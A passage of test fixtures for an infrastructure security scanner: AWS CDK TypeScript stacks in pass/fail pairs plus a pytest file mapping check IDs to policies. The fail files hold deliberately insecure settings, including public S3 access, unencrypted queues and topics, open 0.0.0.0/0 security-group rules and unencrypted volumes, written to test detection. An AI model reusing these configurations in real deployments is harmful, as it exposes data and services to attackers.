PUBLIC_READ access - Match new s3.Bucket(this, 'MyPublicReadBucket'); new s3.Bucket(this, 'MyPrivateReadBucket'); // Bucket with PUBLIC_READ_WRITE access new s3.Bucket(this, 'MyPublicReadWriteBucket', { accessControl: s3.BucketAccessControl.Private, }); // Bucket with publicReadAccess set to true new s3.Bucket(this, 'MyPublicReadAccessBucket', {}); // Bucket with publicReadAccess set to true new s3.Bucket(this, 'MyPublicReadAccessBucket', { publicReadAccess: false, }); } } const app = new App(); new S3BucketExampleStack(app, 'S3BucketExampleStack'); ================================================ FILE: cdk_integration_tests/src/typescript/S3RestrictPublicBuckets/fail__2__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Construct } from 'constructs'; import * as s3 from 'aws-cdk-lib/aws-s3'; class S3BucketWithPublicAccessStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); new s3.Bucket(this, 'aaa', { versioned: false, // You can enable versioning if needed removalPolicy: cdk.RemovalPolicy.DESTROY, // Change this according to your retention policy blockPublicAccess: new s3.BlockPublicAccess({ blockPublicAcls: true, blockPublicPolicy: true, ignorePublicAcls: true, restrictPublicBuckets: false, }), }); } } class PublicS3BucketStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); new s3.CfnBucket(this, 'PublicBucket', { versioningConfiguration: { status: 'Suspended', // You can enable versioning if needed }, publicAccessBlockConfiguration: { blockPublicAcls: true, blockPublicPolicy: true, ignorePublicAcls: true, restrictPublicBuckets: false, }, }); } } const app = new cdk.App(); new S3BucketWithPublicAccessStack(app, 'S3BucketWithPublicAccessStack'); new PublicS3BucketStack(app, 'PublicS3BucketStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3RestrictPublicBuckets/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Construct } from 'constructs'; import * as s3 from 'aws-cdk-lib/aws-s3'; class S3BucketWithPublicAccessStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); new s3.Bucket(this, 'aaa', { versioned: false, // You can enable versioning if needed removalPolicy: cdk.RemovalPolicy.DESTROY, // Change this according to your retention policy blockPublicAccess: s3.BlockPublicAccess.BLOCK_ALL, // Enforce all public access restrictions }); } } class PublicS3BucketStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); new s3.CfnBucket(this, 'PublicBucket', { versioningConfiguration: { status: 'Suspended', // You can enable versioning if needed }, publicAccessBlockConfiguration: { blockPublicAcls: true, blockPublicPolicy: true, ignorePublicAcls: true, restrictPublicBuckets: true, }, }); } } const app = new cdk.App(); new S3BucketWithPublicAccessStack(app, 'S3BucketWithPublicAccessStack'); new PublicS3BucketStack(app, 'PublicS3BucketStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/SNSTopicEncryption/fail.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as sns from 'aws-cdk-lib/aws-sns'; import { Construct } from 'constructs'; class MyStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); new sns.Topic(this, 'Topic', { topicName: 'my-topic', }); } } const app = new App(); new MyStack(app, 'MyStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/SNSTopicEncryption/pass.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as sns from 'aws-cdk-lib/aws-sns'; import * as kms from 'aws-cdk-lib/aws-kms'; import { Construct } from 'constructs'; class MyStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Create a new KMS Key const key = new kms.Key(this, 'MyKey'); // Create a new SNS Topic using the KMS Key for encryption new sns.Topic(this, 'Topic', { topicName: 'my-topic', masterKey: key, }); } } const app = new App(); new MyStack(app, 'MyStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/SQSQueueEncryption/fail__2__.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import * as sqs from 'aws-cdk-lib/aws-sqs'; class SqsQueueWithKmsKeyStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); new sqs.Queue(this, "MySqsQueue", { encryption: sqs.QueueEncryption.KMS, visibilityTimeout: cdk.Duration.seconds(300) // Other properties for the queue }); } } const app = new App(); new SqsQueueWithKmsKeyStack(app, "SqsQueueWithKmsKeyStack"); app.synth(); class SqsQueueWithKmsKeyIdStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); var mySqs = new sqs.CfnQueue(this, "MySqsQueue", { visibilityTimeout: 300 // Other properties for the queue // Specify the KMS key ID if needed here, e.g., kmsMasterKeyId: 'alias/aws/sqs' }); } } const app2 = new App(); new SqsQueueWithKmsKeyIdStack(app2, "SqsQueueWithKmsKeyIdStack"); app2.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/SQSQueueEncryption/pass.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as sqs from 'aws-cdk-lib/aws-sqs'; import * as kms from 'aws-cdk-lib/aws-kms'; import * as cfn from 'aws-cdk-lib/aws-cloudformation'; import { Construct } from 'constructs'; class SqsQueueWithKmsKeyStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Create a KMS key for encryption const kmsKey = new kms.Key(this, 'MyKmsKey', { enableKeyRotation: true, }); // Create an SQS queue with KMS encryption new sqs.Queue(this, 'MySqsQueue', { encryption: sqs.QueueEncryption.KMS, encryptionMasterKey: kmsKey, visibilityTimeout: cdk.Duration.seconds(300), // Other properties for the queue }); } } const app = new App(); new SqsQueueWithKmsKeyStack(app, 'SqsQueueWithKmsKeyStack'); app.synth(); class SqsQueueWithKmsKeyIdStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define a custom KMS key const kmsKey = new cfn.CfnCustomResource(this, 'MyKmsKeyResource', { serviceToken: 'arn:aws:lambda:::function/', // Add other properties as needed }); // Define an SQS queue with a specific KmsMasterKeyId new sqs.CfnQueue(this, 'MySqsQueue', { kmsMasterKeyId: kmsKey.getAtt('KmsKeyId').toString(), visibilityTimeout: 300, // Other properties for the queue }); } } const app2 = new App(); new SqsQueueWithKmsKeyIdStack(app2, 'SqsQueueWithKmsKeyIdStack'); app2.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/SecretManagerSecretEncrypted/fail__2__.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as secretsmanager from 'aws-cdk-lib/aws-secretsmanager'; import * as kms from 'aws-cdk-lib/aws-kms'; import { Construct } from 'constructs'; class MySecretsStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define a SecretsManager secret with KMS key ID const mySecret = new secretsmanager.Secret(this, 'MySecret', { secretName: 'MySecretName', encryptionKey: kms.Key.fromKeyArn(this, 'MyKmsKey', 'arn:aws:kms:REGION:ACCOUNT_ID:key/aws/KMS_KEY_ID'), }); } } class MySecretsStack2 extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define a SecretsManager secret without specifying KMS key ID const mySecret = new secretsmanager.Secret(this, 'MySecret', { secretName: 'MySecretName', }); } } const app = new App(); new MySecretsStack(app, "MySecretsStack"); new MySecretsStack2(app, "MySecretsStack2"); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/SecretManagerSecretEncrypted/pass.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as secretsmanager from 'aws-cdk-lib/aws-secretsmanager'; import * as kms from 'aws-cdk-lib/aws-kms'; import { Construct } from 'constructs'; class MySecretsStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define a SecretsManager secret with KMS key ID const mySecret = new secretsmanager.Secret(this, 'MySecret', { secretName: 'MySecretName', encryptionKey: kms.Key.fromKeyArn(this, 'MyKmsKey', 'arn:aws:kms:REGION:ACCOUNT_ID:key/KMS_KEY_ID'), }); } } const app = new App(); new MySecretsStack(app, "MySecretsStack"); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/SecurityGroupRuleDescription/fail__4__.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import { Construct } from 'constructs'; class MySecurityGroupStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define EC2 Security Group with Ingress const securityGroup = new ec2.CfnSecurityGroup(this, 'MySecurityGroup', { groupDescription: 'My security group', securityGroupIngress: [ { description: 'Allow HTTP inbound', ipProtocol: 'tcp', fromPort: 80, toPort: 80, cidrIp: '0.0.0.0/0', }, ], // Other properties for your Security Group }); } } class MySecurityGroupEgressStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define EC2 Security Group with Egress const securityGroupEgress = new ec2.CfnSecurityGroup(this, 'MySecurityGroup', { groupDescription: 'My security group', securityGroupEgress: [ { description: 'Allow HTTP outbound', ipProtocol: 'tcp', fromPort: 80, toPort: 80, cidrIp: '0.0.0.0/0', }, ], // Other properties for your Security Group }); } } class MySecurityGroupIngressStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define EC2 Security Group Ingress new ec2.CfnSecurityGroupIngress(this, 'MySecurityGroupIngress', { groupId: 'your-security-group-id', // Replace with your Security Group ID ipProtocol: 'tcp', fromPort: 80, toPort: 80, cidrIp: '0.0.0.0/0', // Other properties for your Security Group Ingress }); } } class MySecurityGroupEgressStack2 extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define EC2 Security Group Egress new ec2.CfnSecurityGroupEgress(this, 'MySecurityGroupEgress', { groupId: 'your-security-group-id', // Replace with your Security Group ID ipProtocol: 'tcp', fromPort: 80, toPort: 80, cidrIp: '0.0.0.0/0', // Other properties for your Security Group Egress }); } } const app = new App(); new MySecurityGroupStack(app, "MySecurityGroupStack"); new MySecurityGroupIngressStack(app, "MySecurityGroupIngressStack"); new MySecurityGroupEgressStack(app, "MySecurityGroupEgressStack"); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/SecurityGroupRuleDescription/pass.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import { Construct } from 'constructs'; class MySecurityGroupStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define EC2 Security Group with Ingress Rules new ec2.CfnSecurityGroup(this, 'MySecurityGroup', { groupDescription: 'My security group', securityGroupIngress: [ { description: 'True', ipProtocol: 'tcp', fromPort: 80, toPort: 80, cidrIp: '0.0.0.0/0', }, ], // Other properties for your Security Group }); } } class MySecurityGroupEgressStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define EC2 Security Group with Egress Rules new ec2.CfnSecurityGroup(this, 'MySecurityGroupEgress', { groupDescription: 'My security group', securityGroupEgress: [ { description: 'True', ipProtocol: 'tcp', fromPort: 80, toPort: 80, cidrIp: '0.0.0.0/0', }, ], // Other properties for your Security Group }); } } class MySecurityGroupIngressStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define EC2 Security Group Ingress new ec2.CfnSecurityGroupIngress(this, 'MySecurityGroupIngress', { groupId: 'your-security-group-id', // Replace with your Security Group ID ipProtocol: 'tcp', fromPort: 80, toPort: 80, cidrIp: '0.0.0.0/0', description: 'abc', // Other properties for your Security Group Ingress }); } } class MySecurityGroupEgressStack2 extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define EC2 Security Group Egress new ec2.CfnSecurityGroupEgress(this, 'MySecurityGroupEgress', { groupId: 'your-security-group-id', // Replace with your Security Group ID ipProtocol: 'tcp', fromPort: 80, toPort: 80, cidrIp: '0.0.0.0/0', description: 'abc', // Other properties for your Security Group Egress }); } } const app = new App(); new MySecurityGroupStack(app, "MySecurityGroupStack"); new MySecurityGroupEgressStack(app, "MySecurityGroupEgressStack"); new MySecurityGroupIngressStack(app, "MySecurityGroupIngressStack"); new MySecurityGroupEgressStack2(app, "MySecurityGroupEgressStack2"); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/TransferServerIsPublic/fail__1__.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as transfer from 'aws-cdk-lib/aws-transfer'; import { Construct } from 'constructs'; class MyTransferServerStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define Transfer Server with EndpointType set to a custom value new transfer.CfnServer(this, 'MyTransferServer', { endpointType: 'abc', // Replace 'abc' with your endpoint type // Other properties as needed for your Transfer Server }); } } const app = new App(); new MyTransferServerStack(app, "MyTransferServerStack"); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/TransferServerIsPublic/pass.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as transfer from 'aws-cdk-lib/aws-transfer'; import { Construct } from 'constructs'; class MyTransferServerStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define Transfer Server with EndpointType set to VPC new transfer.CfnServer(this, 'MyTransferServer', { endpointType: 'VPC', // Other properties as needed for your Transfer Server }); } } class MyTransferServerStack2 extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define Transfer Server with EndpointType set to VPC_ENDPOINT new transfer.CfnServer(this, 'MyTransferServer2', { endpointType: 'VPC_ENDPOINT', // Other properties as needed for your Transfer Server }); } } const app = new App(); new MyTransferServerStack(app, "MyTransferServerStack"); new MyTransferServerStack2(app, "MyTransferServerStack2"); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/VPCEndpointAcceptanceConfigured/fail__2__.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import { Construct } from 'constructs'; class MyVpcEndpointServiceStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define VPC Endpoint Service with acceptance not required var x = new ec2.CfnVPCEndpointService(this, 'MyVPCEndpointService'); const y = new ec2.CfnVPCEndpointService(this, 'MyVPCEndpointService', { acceptanceRequired: false, }); } } const app = new App(); new MyVpcEndpointServiceStack(app, "MyVpcEndpointServiceStack"); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/VPCEndpointAcceptanceConfigured/pass.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import { Construct } from 'constructs'; class MyVpcEndpointServiceStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Define VPC Endpoint Service with acceptance not required new ec2.CfnVPCEndpointService(this, 'MyVPCEndpointService', { acceptanceRequired: true, // Other properties for your VPC Endpoint Service }); } } const app = new App(); new MyVpcEndpointServiceStack(app, "MyVpcEndpointServiceStack"); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/WAFEnabled/fail__1__.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as cloudfront from 'aws-cdk-lib/aws-cloudfront'; import { Construct } from 'constructs'; class CloudFrontDistributionStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Create a CloudFront distribution new cloudfront.CfnDistribution(this, 'MyCloudFrontDistribution', { distributionConfig: { defaultCacheBehavior: { // Configure your cache behavior as needed viewerProtocolPolicy: 'allow-all', // Example configuration targetOriginId: 'myTargetOrigin', // Example configuration, needs to match an origin forwardedValues: { queryString: true, cookies: { forward: 'none' }, }, }, enabled: true, // Other distributionConfig properties as needed }, }); } } const app = new App(); new CloudFrontDistributionStack(app, "CloudFrontDistributionStack"); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/WAFEnabled/pass.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as cloudfront from 'aws-cdk-lib/aws-cloudfront'; import * as wafv2 from 'aws-cdk-lib/aws-wafv2'; import { Construct } from 'constructs'; class CloudFrontDistributionStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Create a WebACL const webAcl = new wafv2.CfnWebACL(this, 'MyWebACL', { defaultAction: { allow: {} }, scope: 'CLOUDFRONT', visibilityConfig: { cloudWatchMetricsEnabled: true, metricName: 'webAclMetric', sampledRequestsEnabled: true, }, // Configure your WebACL as needed rules: [], }); // Create a CloudFront distribution const distribution = new cloudfront.CfnDistribution(this, 'MyCloudFrontDistribution', { distributionConfig: { defaultCacheBehavior: { // Configure your cache behavior as needed viewerProtocolPolicy: 'allow-all', // Example configuration targetOriginId: 'myTargetOrigin', // Example configuration, needs to match an origin forwardedValues: { queryString: false, cookies: { forward: 'none' }, }, }, enabled: true, webAclId: webAcl.attrArn, // Set the WebACL association // Other distributionConfig properties as needed }, }); } } const app = new App(); new CloudFrontDistributionStack(app, 'CloudFrontDistributionStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/WorkspaceRootVolumeEncrypted/fail__1__.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as workspaces from 'aws-cdk-lib/aws-workspaces'; import { Construct } from 'constructs'; class WorkSpacesStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Note: The creation of a WorkSpaces directory as depicted in the Python code isn't directly supported through AWS CDK as of my last update. // Typically, you would use an existing directory (like an AD Connector or a Simple AD). // However, let's assume we're associating the workspace with an existing directory for this example. // Create a WorkSpaces workspace with root volume encryption enabled new workspaces.CfnWorkspace(this, 'MyWorkspace', { directoryId: 'your-directory-id', // Replace with your actual directory ID userName: 'my-user', bundleId: 'wsb-12345678', // Replace with your actual bundle ID rootVolumeEncryptionEnabled: false, userVolumeEncryptionEnabled: false, // Set to true if you want user volume encryption // Workspace properties need to be defined here, if necessary. }); } } const app = new App(); new WorkSpacesStack(app, 'WorkSpacesStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/WorkspaceRootVolumeEncrypted/pass.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as workspaces from 'aws-cdk-lib/aws-workspaces'; import { Construct } from 'constructs'; class WorkSpacesStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Assuming the Directory ID is known and exists. Replace 'your-directory-id' with the actual Directory ID. const directoryId = 'your-directory-id'; // Create a WorkSpaces workspace with root volume encryption enabled new workspaces.CfnWorkspace(this, 'MyWorkspace', { directoryId: directoryId, // Use the known Directory ID bundleId: 'wsb-12345678', // Replace with your actual bundle ID userName: 'my-user', rootVolumeEncryptionEnabled: true, userVolumeEncryptionEnabled: false, // Set to true if you want user volume encryption // Other properties for your Workspace as needed }); } } const app = new App(); new WorkSpacesStack(app, 'WorkSpacesStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/WorkspaceUserVolumeEncrypted/fail__1__.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as workspaces from 'aws-cdk-lib/aws-workspaces'; import { Construct } from 'constructs'; class WorkSpacesStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Note: The creation of a WorkSpaces directory as depicted in the Python code isn't directly supported through AWS CDK as of my last update. // Typically, you would use an existing directory (like an AD Connector or a Simple AD). // However, let's assume we're associating the workspace with an existing directory for this example. // Create a WorkSpaces workspace with root volume encryption enabled new workspaces.CfnWorkspace(this, 'MyWorkspace', { directoryId: 'your-directory-id', // Replace with your actual directory ID userName: 'my-user', bundleId: 'wsb-12345678', // Replace with your actual bundle ID rootVolumeEncryptionEnabled: false, userVolumeEncryptionEnabled: false, // Set to true if you want user volume encryption // Workspace properties need to be defined here, if necessary. }); } } const app = new App(); new WorkSpacesStack(app, 'WorkSpacesStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/WorkspaceUserVolumeEncrypted/pass.ts ================================================ import { App, Stack } from 'aws-cdk-lib'; import * as workspaces from 'aws-cdk-lib/aws-workspaces'; import { Construct } from 'constructs'; class WorkSpacesStack extends Stack { constructor(scope: Construct, id: string, props?: {}) { super(scope, id, props); // Assuming the Directory ID is known and exists. Replace 'your-directory-id' with the actual Directory ID. const directoryId = 'your-directory-id'; // Create a WorkSpaces workspace with root volume encryption enabled new workspaces.CfnWorkspace(this, 'MyWorkspace', { directoryId: directoryId, // Use the known Directory ID bundleId: 'wsb-12345678', // Replace with your actual bundle ID userName: 'my-user', rootVolumeEncryptionEnabled: true, userVolumeEncryptionEnabled: true, // Set to true if you want user volume encryption // Other properties for your Workspace as needed }); } } const app = new App(); new WorkSpacesStack(app, 'WorkSpacesStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/s3.ts ================================================ import { App, Stack, StackProps } from "aws-cdk-lib"; import * as s3 from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); new s3.Bucket(this, 'example', { encryption: s3.BucketEncryption.S3_MANAGED, }); } } const app = new App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/test_checks_python.py ================================================ from typing import Dict, Any, List import pytest from cdk_integration_tests.utils import run_check, load_failed_checks_from_file LANGUAGE = 'python' @pytest.fixture(scope="session", autouse=True) def failed_checks() -> Dict[str, List[Dict[str, Any]]]: report_failed_checks = load_failed_checks_from_file(LANGUAGE) yield report_failed_checks def test_CKV_AWS_18_S3BucketLogging(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_18", policy_name="S3BucketLogging", language="python") def test_CKV_AWS_19_S3BucketEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_19", policy_name="S3BucketEncryption", language="python") def test_CKV_AWS_21_S3BucketVersioning(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_21", policy_name="S3BucketVersioning", language="python") def test_CKV_AWS_145_S3BucketKMSEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_145", policy_name="S3BucketKMSEncryption", language="python") def test_CKV2_AWS_6_S3BucketPublicAccessBlock(failed_checks): run_check(check_results=failed_checks, check_id="CKV2_AWS_6", policy_name="S3BucketPublicAccessBlock", language="python") def test_CKV_AWS_54_S3BlockPublicPolicy(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_54", policy_name="S3BlockPublicPolicy", language="python") def test_CKV_AWS_26_SNSTopicEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_26", policy_name="SNSTopicEncryption", language="python") def test_CKV_AWS_20_S3PublicACLRead(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_20", policy_name="S3PublicACLRead", language="python") def test_CKV_AWS_55_S3IgnorePublicACLs(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_55", policy_name="S3IgnorePublicACLs", language="python") def test_CKV_AWS_56_S3RestrictPublicBuckets(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_56", policy_name="S3RestrictPublicBuckets", language="python") def test_CKV_AWS_53_S3BlockPublicACLs(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_53", policy_name="S3BlockPublicACLs", language="python") def test_CKV_AWS_57_S3PublicACLWrite(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_57", policy_name="S3PublicACLWrite", language="python") def test_CKV_AWS_115_LambdaFunctionLevelConcurrentExecutionLimit(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_115", policy_name="LambdaFunctionLevelConcurrentExecutionLimit", language="python") def test_CKV_AWS_116_LambdaDLQConfigured(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_116", policy_name="LambdaDLQConfigured", language="python") def test_CKV_AWS_28_DynamodbRecovery(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_28", policy_name="DynamodbRecovery", language="python") def test_CKV_AWS_158_CloudWatchLogGroupKMSKey(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_158", policy_name="CloudWatchLogGroupKMSKey", language="python") def test_CKV_AWS_3_EBSEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_3", policy_name="EBSEncryption", language="python") def test_CKV_AWS_120_APIGatewayCacheEnable(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_120", policy_name="APIGatewayCacheEnable", language="python") def test_CKV_AWS_163_ECRImageScanning(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_163", policy_name="ECRImageScanning", language="python") def test_CKV_AWS_51_ECRImmutableTags(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_51", policy_name="ECRImmutableTags", language="python") def test_CKV_AWS_44_NeptuneClusterStorageEncrypted(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_44", policy_name="NeptuneClusterStorageEncrypted", language="python") def test_CKV_AWS_166_BackupVaultEncrypted(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_166", policy_name="BackupVaultEncrypted", language="python") def test_CKV_AWS_74_DocDBEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_74", policy_name="DocDBEncryption", language="python") def test_CKV_AWS_47_DAXEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_47", policy_name="DAXEncryption", language="python") def test_CKV_AWS_156_WorkspaceRootVolumeEncrypted(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_156", policy_name="WorkspaceRootVolumeEncrypted", language="python") def test_CKV_AWS_155_WorkspaceUserVolumeEncrypted(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_155", policy_name="WorkspaceUserVolumeEncrypted", language="python") def test_CKV_AWS_165_DynamodbGlobalTableRecovery(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_165", policy_name="DynamodbGlobalTableRecovery", language="python") def test_CKV_AWS_27_SQSQueueEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_27", policy_name="SQSQueueEncryption", language="python") def test_CKV_AWS_195_GlueSecurityConfigurationEnabled(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_195", policy_name="GlueSecurityConfigurationEnabled", language="python") def test_CKV_AWS_30_ElasticacheReplicationGroupEncryptionAtTransit(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_30", policy_name="ElasticacheReplicationGroupEncryptionAtTransit", language="python") def test_CKV_AWS_29_ElasticacheReplicationGroupEncryptionAtRest(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_29", policy_name="ElasticacheReplicationGroupEncryptionAtRest", language="python") def test_CKV_AWS_43_KinesisStreamEncryptionType(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_43", policy_name="KinesisStreamEncryptionType", language="python") def test_CKV_AWS_42_EFSEncryptionEnabled(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_42", policy_name="EFSEncryptionEnabled", language="python") def test_CKV_AWS_193_AppSyncLogging(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_193", policy_name="AppSyncLogging", language="python") def test_CKV_AWS_194_AppSyncFieldLevelLogs(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_194", policy_name="AppSyncFieldLevelLogs", language="python") def test_CKV_AWS_104_DocDBAuditLogs(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_104", policy_name="DocDBAuditLogs", language="python") def test_CKV_AWS_82_AthenaWorkgroupConfiguration(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_82", policy_name="AthenaWorkgroupConfiguration", language="python") def test_CKV_AWS_17_RDSPubliclyAccessible(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_17", policy_name="RDSPubliclyAccessible", language="python") def test_CKV_AWS_87_RedshiftClusterPubliclyAccessible(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_87", policy_name="RedshiftClusterPubliclyAccessible", language="python") def test_CKV_AWS_69_AmazonMQBrokerPublicAccess(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_69", policy_name="AmazonMQBrokerPublicAccess", language="python") def test_CKV_AWS_118_RDSEnhancedMonitorEnabled(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_118", policy_name="RDSEnhancedMonitorEnabled", language="python") def test_CKV_AWS_40_IAMPolicyAttachedToGroupOrRoles(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_40", policy_name="IAMPolicyAttachedToGroupOrRoles", language="python") def test_CKV_AWS_36_CloudTrailLogValidation(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_36", policy_name="CloudTrailLogValidation", language="python") def test_CKV_AWS_83_ElasticsearchDomainEnforceHTTPS(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_83", policy_name="ElasticsearchDomainEnforceHTTPS", language="python") def test_CKV_AWS_76_APIGatewayAccessLogging(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_76", policy_name="APIGatewayAccessLogging", language="python") def test_CKV_AWS_117_LambdaInVPC(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_117", policy_name="LambdaInVPC", language="python") def test_CKV_AWS_68_WAFEnabled(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_68", policy_name="WAFEnabled", language="python") def test_CKV_AWS_64_RedshiftClusterEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_64", policy_name="RedshiftClusterEncryption", language="python") def test_CKV_AWS_78_CodeBuildProjectEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_78", policy_name="CodeBuildProjectEncryption", language="python") def test_CKV_AWS_31_ElasticacheReplicationGroupEncryptionAtTransitAuthToken(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_31", policy_name="ElasticacheReplicationGroupEncryptionAtTransitAuthToken", language="python") def test_CKV_AWS_94_GlueDataCatalogEncryption(failed_checks): run_check(check_results=failed_checks, check_id="CKV_AWS_94", policy_name="GlueDataCatalogEncryption", language="python") def 